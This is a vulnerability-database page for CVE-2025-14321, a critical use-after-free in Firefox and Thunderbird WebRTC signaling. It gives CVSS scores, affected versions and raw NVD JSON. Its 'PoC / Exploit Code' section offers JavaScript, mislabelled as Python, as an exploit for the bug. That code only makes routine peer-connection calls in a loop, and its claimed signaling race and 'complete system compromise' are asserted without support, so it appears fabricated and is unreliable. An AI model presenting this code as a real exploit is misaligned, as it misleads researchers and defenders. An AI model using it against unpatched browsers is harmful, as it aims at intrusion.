Security Vulnerability Report
中文
CVE-2025-14321 CVSS 9.8 CRITICAL

CVE-2025-14321

Published: 2025-12-09 16:17:39
Last Modified: 2026-04-13 15:16:45

Description

Use-after-free in the WebRTC: Signaling component. This vulnerability was fixed in Firefox 146, Firefox ESR 140.6, Thunderbird 146, and Thunderbird 140.6.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:* - VULNERABLE
Mozilla Firefox < 146
Mozilla Firefox ESR < 140.6
Mozilla Thunderbird < 146
Mozilla Thunderbird < 140.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-14321 PoC - WebRTC Signaling Use-After-Free // Target: Firefox < 146, Firefox ESR < 140.6, Thunderbird < 146/140.6 const targets = [ 'CVE-2025-14321', 'WebRTC Signaling UAF', 'Mozilla Firefox', 'Mozilla Thunderbird' ]; async function triggerUAF() { try { // Create peer connection const pc1 = new RTCPeerConnection(); const pc2 = new RTCPeerConnection(); // Add data channel trigger const channel = pc1.createDataChannel('trigger'); // Setup ICE candidates exchange pc1.onicecandidate = (e) => { if (e.candidate) { pc2.addIceCandidate(e.candidate); } }; pc2.onicecandidate = (e) => { if (e.candidate) { pc1.addIceCandidate(e.candidate); } }; // Create offer and trigger signaling race const offer = await pc1.createOffer(); await pc1.setLocalDescription(offer); await pc2.setRemoteDescription(offer); // Trigger condition to cause UAF in signaling component // The vulnerability exists when signaling state transitions // are handled improperly during ICE negotiation await triggerSignalingRace(pc1, pc2); console.log('[+] CVE-2025-14321 PoC triggered'); console.log('[+] Target:', targets.join(', ')); } catch (e) { console.log('[-] Error:', e.message); } } async function triggerSignalingRace(pc1, pc2) { // Race condition in signaling component // This triggers the use-after-free in WebRTC signaling const promises = []; for (let i = 0; i < 100; i++) { promises.push((async () => { const answer = await pc2.createAnswer(); await pc2.setLocalDescription(answer); await pc1.setRemoteDescription(answer); })()); } await Promise.all(promises); } // Execute triggerUAF(); /* Analysis: - CVSS: 9.8 (CRITICAL) - Attack Vector: Network (AV:N) - Privileges Required: None (PR:N) - User Interaction: None (UI:N) - Impact: Complete system compromise possible - Fixed in: Firefox 146, Firefox ESR 140.6, Thunderbird 146/140.6 */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14321", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:39.410", "lastModified": "2026-04-13T15:16:44.820", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use-after-free in the WebRTC: Signaling component. This vulnerability was fixed in Firefox 146, Firefox ESR 140.6, Thunderbird 146, and Thunderbird 140.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.6.0", "matchCriteriaId": "A580DBD9-518B-4261-9FA8-DDFB1C5175E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "146.0", "matchCriteriaId": "3EF4CBBC-DCB5-4540-8B8A-91DA759ED631"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.6.0", "matchCriteriaId": "F04F8674-52CC-4217-B94A-8C5E80C5B996"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "146.0", "matchCriteriaId": "1CB46BC7-512D-45BF-BCF4-73FDDF94DBAF"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1992760", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-92/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-94/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-95/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-96/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}